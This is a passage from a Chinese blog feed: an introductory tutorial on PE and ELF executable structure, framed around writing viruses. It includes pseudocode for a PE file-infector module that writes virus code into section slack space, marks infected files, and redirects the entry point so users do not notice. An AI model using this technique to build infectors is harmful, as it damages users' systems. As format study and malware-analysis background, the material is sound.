class="keyword">return</span> re</span><br></pre></td></tr></table></figure></li></ul>]]></content>
<summary type="html">
<p>因为官方已经有足够的正常答案,所以仅记录自己想的和官方不一样的思路</p>
<h3 id="1081-不同字符的最小子序列"><a href="#1081-不同字符的最小子序列" class="headerlink" title="1081.不同字符的最小子序列"></a>
</summary>
<category term="算法" scheme="https://iwannatobehappy.github.io/tags/%E7%AE%97%E6%B3%95/"/>
</entry>
<entry>
<title>木马逆向分析入门</title>
<link href="https://iwannatobehappy.github.io/2019/07/09/%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%85%A5%E9%97%A8/"/>
<id>https://iwannatobehappy.github.io/2019/07/09/%E6%9C%A8%E9%A9%AC%E9%80%86%E5%90%91%E5%88%86%E6%9E%90%E5%85%A5%E9%97%A8/</id>
<published>2019-07-09T08:40:43.000Z</published>
<updated>2020-04-08T12:21:49.490Z</updated>
<content type="html"><![CDATA[<h1 id="计算机的文件结构"><a href="#计算机的文件结构" class="headerlink" title="计算机的文件结构"></a>计算机的文件结构</h1><h2 id="PE文件结构"><a href="#PE文件结构" class="headerlink" title="PE文件结构"></a>PE文件结构</h2><p> PE文件是portable File Format(可移植文件)的简写,也就是Windows上以EXE、DLL、OCX、SYS、COM为后缀的可执行文件。了解PE文件的结构,是给Windows文件上病毒的第一步。如果是第一次学习Pe文件结构,最好先有如下的概念:一个可执行文件,核心必然是数据区和代码区,同时,为了方便计算机将文件从硬盘读入到内存并执行,需要有标志数据区、代码区位置等信息的辅助数据,这些辅助数据被整合在文件的头部以及各区域的头部信息中。当然这些头部信息并不都是我们需要关注的,我会强调PE文件病毒所关注的信息。<br> <strong>虚拟地址</strong><br> 介绍结构前,必须先介绍虚拟地址这一重要的辅助数据。(相对地址与绝对地址相信不用介绍)<br> PE文件被加载到内存中后,被称为映像(image),在硬盘中,文件内容是连续安放的,但是在内存中,文件各区段会因为内存分页而产生对齐,节与节之间存在额外的空白段。因此记录区段位置需要两种数据:在硬盘中相对文件头的偏移(物理地址)以及在内存中相对映像头的偏移(相对虚拟地址RVA)。<br> <code>RVA+ImageBase=VA</code>:相对虚拟地址+映像基址=虚拟地址</p><p><img src="PE%E6%80%BB%E7%BB%93%E6%9E%84.jpg" alt=""></p><ul><li><p><strong>DOS头</strong> 40h<br>DOS头用于兼容MS-DOS操作系统(没人用了),主要作用在于标志文件类型和NT头位置。</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">USHORT e_magic; <span class="comment">// 固定值,DOS签名“MZ-->Mark Zbikowski(设计了DOS的工程师)”</span></span><br><span class="line">USHORT e_cblp; <span class="comment">// 文件最后页的字节数</span></span><br><span class="line">USHORT e_cp; <span class="comment">// 文件页数</span></span><br><span class="line">USHORT e_crlc; <span class="comment">// 重定义元素个数</span></span><br><span class="line">USHORT e_cparhdr; <span class="comment">// 头部尺寸,以段落为单位</span></span><br><span class="line">USHORT e_minalloc; <span class="comment">// 所需的最小附加段</span></span><br><span class="line">USHORT e_maxalloc; <span class="comment">// 所需的最大附加段</span></span><br><span class="line">USHORT e_ss; <span class="comment">// 初始的SS值(相对偏移量)</span></span><br><span class="line">USHORT e_sp; <span class="comment">// 初始的SP值</span></span><br><span class="line">USHORT e_csum; <span class="comment">// 校验和</span></span><br><span class="line">USHORT e_ip; <span class="comment">// 初始的IP值</span></span><br><span class="line">USHORT e_cs; <span class="comment">// 初始的CS值(相对偏移量)</span></span><br><span class="line">USHORT e_lfarlc; <span class="comment">// 重分配表文件地址</span></span><br><span class="line">USHORT e_ovno; <span class="comment">// 覆盖号</span></span><br><span class="line">USHORT e_res[<span class="number">4</span>]; <span class="comment">// 保留字</span></span><br><span class="line">USHORT e_oemid; <span class="comment">// OEM标识符(相对e_oeminfo)</span></span><br><span class="line">USHORT e_oeminfo; <span class="comment">// OEM信息</span></span><br><span class="line">USHORT e_res2[<span class="number">10</span>]; <span class="comment">// 保留字</span></span><br><span class="line">LONG e_lfanew; <span class="comment">// 指示NT头的偏移(根据不同文件拥有可变值)</span></span><br></pre></td></tr></table></figure><p>关注点在于e_magic和e_lfanew,前者用于标明DOS文件类型,后者用于指定NT头相对映像起始地址的偏移。</p></li><li><p><strong>DOS存根</strong></p><p>一段大空白,没有存根文件也能正常执行,(刚好可以用来放些病毒感染标志之类的)</p></li><li><p><strong>NT头</strong><br>NT头里有点套娃定义,注意不要被绕晕,最基本的就是以下定义:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">DWORD Signature; </span><br><span class="line">IMAGE_FILE_HEADER FileHeader; </span><br><span class="line">IMAGE_OPTIONAL_HEADER32 OptionalHeader;</span><br></pre></td></tr></table></figure><ul><li><p>Signature类似于DOS头中的e_magic,其高16位是0,低16是0x4550,用字符表示正好是’PE’。</p></li><li><p>PE文件头(FileHeader)是一个被套娃的结构体,定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">WORD Machine; <span class="comment">//CPU唯一标志码</span></span><br><span class="line">WORD NumberOfSections; <span class="comment">//节表的项数</span></span><br><span class="line">DWORD TimeDateStamp; <span class="comment">//PE文件创建的时间</span></span><br><span class="line">DWORD PointerToSymbolTable; <span class="comment">//COFF文件符号表在文件中的偏移</span></span><br><span class="line">DWORD NumberOfSymbols; <span class="comment">//符号表的数量</span></span><br><span class="line">WORD SizeOfOptionalHeader; <span class="comment">//指出IMAGE_OPTIONAL_HEADER32结构体的长度</span></span><br><span class="line">WORD Characteristics; <span class="comment">//用于标识文件的属性,文件是否是可运行的状态,是否为DLL文件等信息。</span></span><br></pre></td></tr></table></figure><details><summary>FileHeader拓展</summary>以下为Machine的值对应的具体CPU型号(爱看不看系列)<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">#define IMAGE_FILE_MACHINE_UNKNOWN 0 </span><br><span class="line">#define IMAGE_FILE_MACHINE_I386 0x014c // Intel 386. </span><br><span class="line">#define IMAGE_FILE_MACHINE_R3000 0x0162 // MIPS little-endian, 0x160 big-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_R4000 0x0166 // MIPS little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_R10000 0x0168 // MIPS little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_WCEMIPSV2 0x0169 // MIPS little-endian WCE v2 </span><br><span class="line">#define IMAGE_FILE_MACHINE_ALPHA 0x0184 // Alpha_AXP </span><br><span class="line">#define IMAGE_FILE_MACHINE_SH3 0x01a2 // SH3 little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_SH3DSP 0x01a3 </span><br><span class="line">#define IMAGE_FILE_MACHINE_SH3E 0x01a4 // SH3E little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_SH4 0x01a6 // SH4 little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_SH5 0x01a8 // SH5 </span><br><span class="line">#define IMAGE_FILE_MACHINE_ARM 0x01c0 // ARM Little-Endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_THUMB 0x01c2 </span><br><span class="line">#define IMAGE_FILE_MACHINE_AM33 0x01d3 </span><br><span class="line">#define IMAGE_FILE_MACHINE_POWERPC 0x01F0 // IBM PowerPC Little-Endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_POWERPCFP 0x01f1 </span><br><span class="line">#define IMAGE_FILE_MACHINE_IA64 0x0200 // Intel 64 </span><br><span class="line">#define IMAGE_FILE_MACHINE_MIPS16 0x0266 // MIPS </span><br><span class="line">#define IMAGE_FILE_MACHINE_ALPHA64 0x0284 // ALPHA64 </span><br><span class="line">#define IMAGE_FILE_MACHINE_MIPSFPU 0x0366 // MIPS </span><br><span class="line">#define IMAGE_FILE_MACHINE_MIPSFPU16 0x0466 // MIPS </span><br><span class="line">#define IMAGE_FILE_MACHINE_AXP64 IMAGE_FILE_MACHINE_ALPHA64 </span><br><span class="line">#define IMAGE_FILE_MACHINE_TRICORE 0x0520 // Infineon </span><br><span class="line">#define IMAGE_FILE_MACHINE_CEF 0x0CEF </span><br><span class="line">#define IMAGE_FILE_MACHINE_EBC 0x0EBC // EFI Byte Code </span><br><span class="line">#define IMAGE_FILE_MACHINE_AMD64 0x8664 // AMD64 (K8) </span><br><span class="line">#define IMAGE_FILE_MACHINE_M32R 0x9041 // M32R little-endian </span><br><span class="line">#define IMAGE_FILE_MACHINE_CEE 0xC0EE</span><br></pre></td></tr></table></figure></details></li><li><p>PE可选头(<strong>OptionalHeader</strong>)同样是个套娃结构体,其类型IMAGE_OPTIONAL_HEADER32定义如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">WORD Magic; <span class="comment">//为IMAGE_OPTIONAL_HEADER32时,magic码为10B,64时,为20B</span></span><br><span class="line">BYTE MajorLinkerVersion; <span class="comment">//链接器的版本号</span></span><br><span class="line">BYTE MinorLinkerVersion; <span class="comment">//链接器的版本号</span></span><br><span class="line">DWORD SizeOfCode; <span class="comment">//代码段的长度,如果有多个代码段,则是代码段长度的总和</span></span><br><span class="line">DWORD SizeOfInitializedData; <span class="comment">//初始化的数据长度</span></span><br><span class="line">DWORD SizeOfUninitializedData; <span class="comment">//未初始化的数据长度</span></span><br><span class="line">DWORD AddressOfEntryPoint; <span class="comment">//程序入口的RVA</span></span><br><span class="line">DWORD BaseOfCode; <span class="comment">//代码段起始地址的RVA</span></span><br><span class="line">DWORD BaseOfData; <span class="comment">//数据段起始地址的RVA</span></span><br><span class="line">DWORD ImageBase; <span class="comment">//映象基地址,这个基地址是建议,对于DLL来说,如果无法加载到这个地址,系统会自动为其选择地址</span></span><br><span class="line">DWORD SectionAlignment; <span class="comment">//映象节对齐</span></span><br><span class="line">DWORD FileAlignment; <span class="comment">//硬盘节对齐</span></span><br><span class="line">WORD MajorOperatingSystemVersion; <span class="comment">//操作系统版本号</span></span><br><span class="line">WORD MinorOperatingSystemVersion; <span class="comment">//操作系统版本号</span></span><br><span class="line">WORD MajorImageVersion; <span class="comment">//映象版本号</span></span><br><span class="line">WORD MinorImageVersion; <span class="comment">//映象版本号</span></span><br><span class="line">WORD MajorSubsystemVersion; <span class="comment">//子系统版本号</span></span><br><span class="line">WORD MinorSubsystemVersion; <span class="comment">//子系统版本号</span></span><br><span class="line">DWORD Win32VersionValue; <span class="comment">//保留,必须为0</span></span><br><span class="line">DWORD SizeOfImage; <span class="comment">//映象大小</span></span><br><span class="line">DWORD SizeOfHeaders; <span class="comment">//所有文件头(包括节表)的大小,这个值是以FileAlignment对齐的</span></span><br><span class="line">DWORD CheckSum; <span class="comment">//映象文件校验和</span></span><br><span class="line">WORD Subsystem; <span class="comment">//运行该PE文件所需的子系统</span></span><br><span class="line">WORD DllCharacteristics; <span class="comment">//DLL的文件属性,只对DLL文件有效</span></span><br><span class="line">DWORD SizeOfStackReserve; <span class="comment">//运行时每个线程栈保留内存的大小</span></span><br><span class="line">DWORD SizeOfStackCommit; <span class="comment">//运行时每个线程栈初始占用内存大小</span></span><br><span class="line">DWORD SizeOfHeapReserve; <span class="comment">//运行时进程堆保留内存大小</span></span><br><span class="line">DWORD SizeOfHeapCommit; <span class="comment">//运行时进程堆初始占用内存大小</span></span><br><span class="line">DWORD LoaderFlags; <span class="comment">//保留,必须为0</span></span><br><span class="line">DWORD NumberOfRvaAndSizes; <span class="comment">//数据目录的项数,即下面这个数组的项数</span></span><br><span class="line">IMAGE_DATA_DIRECTORY DataDirectory[IMAGE_NUMBEROF_DIRECTORY_ENTRIES];</span><br></pre></td></tr></table></figure><p>重点说说下面几个成员:</p><ol><li>AddressOfEntryPoint<br>最开始的病毒喜欢修改这个值到病毒代码段,这样文件就会直接运行到病毒。</li><li>ImageBase<br>一般来说,使用开发工具(VB/VC++/Delphi)创建好EXE文件后,其ImageBase值为00400000,DLL文件的ImageBase值为10000000(当然也可以指定其他值)。<br>执行PE文件时,PE装载器先创建进程,再将文件载入内存,然后把EIP寄存器的值设置为ImageBase+AddressOfEntryPoint</li><li>SectionAlignment,FileAlignment<br>PE文件的Body部分被划分成若干节段,这些节段储存着不同类别的数据。FileAlignment指定了节段在磁盘文件中的最小单位,而SectionAlignment则指定了节区在内存中的最小单位(SectionAlignment必须大于或者等于FileAlignment)</li><li>SizeOfImage<br>当PE文件加载到内存时,SizeOfImage指定了PE Image在虚拟内存中所占用的空间大小,一般文件大小与加载到内存中的大小是不同的(节段头中定义了各节装载的位置与占有内存的大小)</li><li>SizeOfHeader<br>SizeOfHeader用来指出整个PE头大小。该值必须是FileAlignment的整数倍。第一节段所在位置与SizeOfHeader距文件开始偏移的量相同。</li><li>NumberOfRvaAndSizes<br>NumberOfRvaAndSizes用来指定DataDirectory的数组个数,虽然结构体定义中明确指出了数组个数为16,但也有可能不是16,PE装载器需要通过这个值来识别。</li><li>DataDirectory<br>最里面的套娃,数据目录,定义如下:<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_DATA_DIRECTORY</span> {</span> </span><br><span class="line"> DWORD VirtualAddress; </span><br><span class="line"> DWORD Size; </span><br><span class="line">} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;</span><br></pre></td></tr></table></figure>可以看出,有地址(VirtualAddress)有大小(Size),数组定义的一定是一个区域,数组每项都有被定义的值,不同项对应不同数据结构,比如导入表,导出表等。<details><summary>数据目录拓展</summary><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">#define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Export Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_IMPORT 1 // Import Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2 // Resource Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3 // Exception Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_SECURITY 4 // Security Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5 // Base Relocation Table</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_DEBUG 6 // Debug Directory</span><br><span class="line">// IMAGE_DIRECTORY_ENTRY_COPYRIGHT 7 // (X86 usage)</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7 // Architecture Specific Data</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8 // RVA of GP</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_TLS 9 // TLS Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10 // Load Configuration Directory</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 11 // Bound Import Directory in headers</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_IAT 12 // Import Address Table</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 13 // Delay Load Import Descriptors</span><br><span class="line">#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14 // COM Runtime descriptor</span><br></pre></td></tr></table></figure></details></li></ol><ul><li><strong>导出表</strong><br>写病毒的时候,找到系统文件的导出表,就能愉快的调用系统函数,就能愉快的为所欲为啦,数据目录的第一项记录着导出表的位置。以下为导出表格式。<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_EXPORT_DIRECTORY</span> {</span></span><br><span class="line"> DWORD Characteristics;</span><br><span class="line"> DWORD TimeDateStamp; <span class="comment">//时间戳. 编译的时间. 把秒转为时间.可以知道这个DLL是什么时候编译出来的.</span></span><br><span class="line"> WORD MajorVersion;</span><br><span class="line"> WORD MinorVersion;</span><br><span class="line"> DWORD Name; <span class="comment">//指向该导出表文件名的字符串,也就是这个DLL的名称 辅助信息.修改不影响</span></span><br><span class="line"> DWORD Base; <span class="comment">//导出函数的起始序号</span></span><br><span class="line"> DWORD NumberOfFunctions; <span class="comment">//所有的导出函数的个数</span></span><br><span class="line"> DWORD NumberOfNames; <span class="comment">//以名字导出的函数的个数</span></span><br><span class="line"> DWORD AddressOfFunctions; <span class="comment">//导出的函数地址的地址表RVA 也就是 函数地址表 </span></span><br><span class="line"> DWORD AddressOfNames; <span class="comment">//导出的函数名称表的RVA 也就是 函数名称表</span></span><br><span class="line"> DWORD AddressOfNameOrdinals;<span class="comment">//导出函数序号表的RVA 也就是 函数序号表</span></span><br><span class="line">} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;</span><br></pre></td></tr></table></figure></li></ul><p>寻找所需的函数步骤如下:</p><pre><code>1.在函数名称表中按名称寻找所需的函数是第几项2.查函数序号表中对应的项可得函数在函数地址表中的下标3.在函数地址表中通过下标找到所需的函数地址</code></pre></li></ul></li><li><p><strong>节段头</strong><br>节段头是由IMAGE_SECTION_HEADER结构体组成的数组,每个结构体对应一个节段。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> _<span class="title">IMAGE_SECTION_HEADER</span> {</span></span><br><span class="line"> BYTE Name[IMAGE_SIZEOF_SHORT_NAME];</span><br><span class="line"> <span class="keyword">union</span> {</span><br><span class="line"> DWORD PhysicalAddress;</span><br><span class="line"> DWORD VirtualSize; <span class="comment">//内存中节段所占大小</span></span><br><span class="line"> } Misc;</span><br><span class="line"> DWORD VirtualAddress; <span class="comment">//映象中节段起始地址(RVA)</span></span><br><span class="line"> DWORD SizeOfRawData; <span class="comment">//磁盘文件中节段所占大小</span></span><br><span class="line"> DWORD PointerToRawData; <span class="comment">//磁盘文件中节段起始位置</span></span><br><span class="line"> DWORD PointerToRelocations;</span><br><span class="line"> DWORD PointerToLinenumbers;</span><br><span class="line"> WORD NumberOfRelocations;</span><br><span class="line"> WORD NumberOfLinenumbers;</span><br><span class="line"> DWORD Characteristics; <span class="comment">//节段属性(bit OR)</span></span><br><span class="line">} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;</span><br></pre></td></tr></table></figure><p>VirtualAddress与PointerToRawData不带有任何值,分别由(定义在IMAGE_OPTIONAL_HEADER32中的)SectionAlignment和FileAlignment确定。</p></li><li><p><strong>节段</strong><br>通常文件有.data段和.code段以及其他,节段的内容是自由的,病毒代码也写在这里。</p></li></ul><h3 id="简单的PE文件病毒"><a href="#简单的PE文件病毒" class="headerlink" title="简单的PE文件病毒"></a>简单的PE文件病毒</h3><p> 假设我们已经成功获得了程序的运行权限,如何感染电脑上的PE文件,使得这些文件被运行时,病毒代码可以顺利运行,最好人工还不能明显的发现文件被感染呢?<br> 本文仅关注病毒的感染模块,使用的方法应该也很原始,并只用伪代码阐述原理。</p><ol><li>判断感染对象<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (fp.DOSheader.e_magic==<span class="number">0x5a4d</span>)<span class="comment">//'MZ'</span></span><br><span class="line"> && fp.NTheader.Signature==<span class="number">0x4550</span>)<span class="comment">//'PE'</span></span><br><span class="line"> && fp.DOS存根.somewhere==感染标记)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br></pre></td></tr></table></figure></li><li>计算病毒存放点<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>;i < section_number;i++)</span><br><span class="line">{</span><br><span class="line"> <span class="keyword">if</span>((sectionheaders[i + <span class="number">1</span>].VirtualAddress - </span><br><span class="line"> sectionheaders[i].VirtualAddress - </span><br><span class="line"> sectionheaders[i].Misc.VirtualSize) > virusCodeSize)</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>上面的逻辑很简单,在各节中找到一块够大的地方给病毒,但是没有这么大的地方怎么办呢?一种方式是添加新的节,并修改NT头以及DOS头中的相关信息,这样做的缺点太明显了:文件将在感染后变大,电脑小白也可能意识到问题。另一种办法是将病毒代码分散到各个空白区域,而后用一段短小精悍的代码把他们在运行时整合起来,然后再去运行。</li><li>放置病毒,添加感染标记<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 节可执行读写</span></span><br><span class="line">sectionheaders[i].Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;</span><br><span class="line"><span class="comment">//本节原内容尾部位置</span></span><br><span class="line">DWORD finalOfSections_fva = sectionheaders[i].Misc.VirtualSize + sectionheaders[i].PointerToRawData;</span><br><span class="line"><span class="comment">//在此处写入病毒</span></span><br><span class="line">setBytes((<span class="keyword">char</span>*)start, <span class="built_in">end</span> - start, finalOfSections_fva);</span><br><span class="line"><span class="comment">//加入感染标记,同时把感染前的入口点保存在感染标记后面</span></span><br><span class="line">DWORD infectedSignature = IMAGE_INFECTED_SINGNATURE;</span><br><span class="line">setBytes((<span class="keyword">char</span>*)&infectedSignature, <span class="keyword">sizeof</span>(infectedSignature), <span class="keyword">sizeof</span>(IMAGE_DOS_HEADER));</span><br><span class="line">setBytes((<span class="keyword">char</span>*)&oldEntry, <span class="keyword">sizeof</span>(oldEntry), <span class="keyword">sizeof</span>(DWORD) + <span class="keyword">sizeof</span>(IMAGE_DOS_HEADER));</span><br></pre></td></tr></table></figure></li><li>修改程序入口以及关键参数<figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">DWORD newentry = finalOfSections_fva;</span><br><span class="line">DWORD fileAddSize = fp.NTheader.OptionalHeader.FileAlignment*(<span class="number">1</span> + codeAddSize / fp.NTheader.OptionalHeader.FileAlignment);<span class="comment">//对齐后大小</span></span><br><span class="line">DWORD imageAddSize = fp.NTheader.OptionalHeader.SectionAlignment*(<span class="number">1</span> + codeAddSize / fp.NTheader.OptionalHeader.SectionAlignment);</span><br><span class="line"><span class="comment">//更新PE文件</span></span><br><span class="line"><span class="comment">//更新NT头</span></span><br><span class="line">fileh.OptionalHeader.SizeOfCode += codeAddSize;</span><br><span class="line">fileh.OptionalHeader.SizeOfImage += imageAddSize;</span><br><span class="line"><span class="comment">//更新节表头</span></span><br><span class="line">sectionheaders[i].Misc.VirtualSize += codeAddSize;</span><br><span class="line">sectionheaders[i].SizeOfRawData += fileAddSize;</span><br><span class="line"><span class="comment">//覆盖写入</span></span><br><span class="line">setBytes((<span class="keyword">char</span>*)&fileh.OptionalHeader.SizeOfCode, <span class="keyword">sizeof</span>(DWORD), e_lfnew + <span class="keyword">sizeof</span>(fileh.Signature) + <span class="keyword">sizeof</span>(fileh.FileHeader) + (<span class="keyword">char</span>*)&fileh.OptionalHeader.SizeOfCode - (<span class="keyword">char</span>*)&fileh.OptionalHeader);</span><br><span class="line">setBytes((<span class="keyword">char</span>*)&fileh.OptionalHeader.SizeOfImage, <span class="keyword">sizeof</span>(DWORD), e_lfnew + <span class="keyword">sizeof</span>(fileh.Signature) + <span class="keyword">sizeof</span>(fileh.FileHeader) + (<span class="keyword">char</span>*)&fileh.OptionalHeader.SizeOfImage - (<span class="keyword">char</span>*)&fileh.OptionalHeader);</span><br><span class="line"><span class="comment">//节表头覆盖写入</span></span><br><span class="line">setBytes((<span class="keyword">char</span>*)sectionheaders, <span class="keyword">sizeof</span>(_IMAGE_SECTION_HEADER)*sectionCnt, e_lfnew + <span class="keyword">sizeof</span>(_IMAGE_NT_HEADERS), fp);</span><br><span class="line"><span class="comment">//修改函数入口地址</span></span><br><span class="line">change_AddressEntry(fa_To_rva(newentry));</span><br></pre></td></tr></table></figure></li></ol><h2 id="ELF文件格式"><a href="#ELF文件格式" class="headerlink" title="ELF文件格式"></a>ELF文件格式</h2><h3 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h3><p> ELF是unix下主要的可执行文件格式,由四个部分组成:ELF头(<strong>ELF header</strong>)、程序头表(<strong>Program header table</strong>)、节(<strong>Section</strong>)和节头表(<strong>Section header table</strong>)。<br> <img src="ELF%E6%96%87%E4%BB%B6%E6%A0%BC%E5%BC%8F%E6%80%BB%E8%A7%88.jpg" alt=""><br> 这张图展示了两种视图:以节(section)为单位的<strong>链接视图</strong>与以段(segment)为单位的<strong>执行视图</strong>。区别在于,<em>当系统链接文件时</em>,用的是链接视图,从ELF头部处理到节区头部表,再从节区头部表读向各个节区,系统并不一定会读到程序头部表;而<em>当系统运行文件时</em>,用的是执行视图,从ELF头部处理到程序头部表,而后转向各段。可以发现,段其实就是几个节区的拼接。<br> <img src="ELF%E4%B8%A4%E7%A7%8D%E8%A7%86%E5%9B%BE.jpg" alt=""><br> <strong>程序头部表</strong>用于告诉系统如何创建进程映象。<br> <strong>节区头部表</strong>用于描述文件节区的大小、偏移量等信息。</p><h3 id="详解"><a href="#详解" class="headerlink" title="详解"></a>详解</h3><ul><li><strong>ELF_Header</strong><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> EI_NIDENT 16</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span>{</span></span><br><span class="line"> <span class="keyword">unsigned</span> <span class="keyword">char</span> 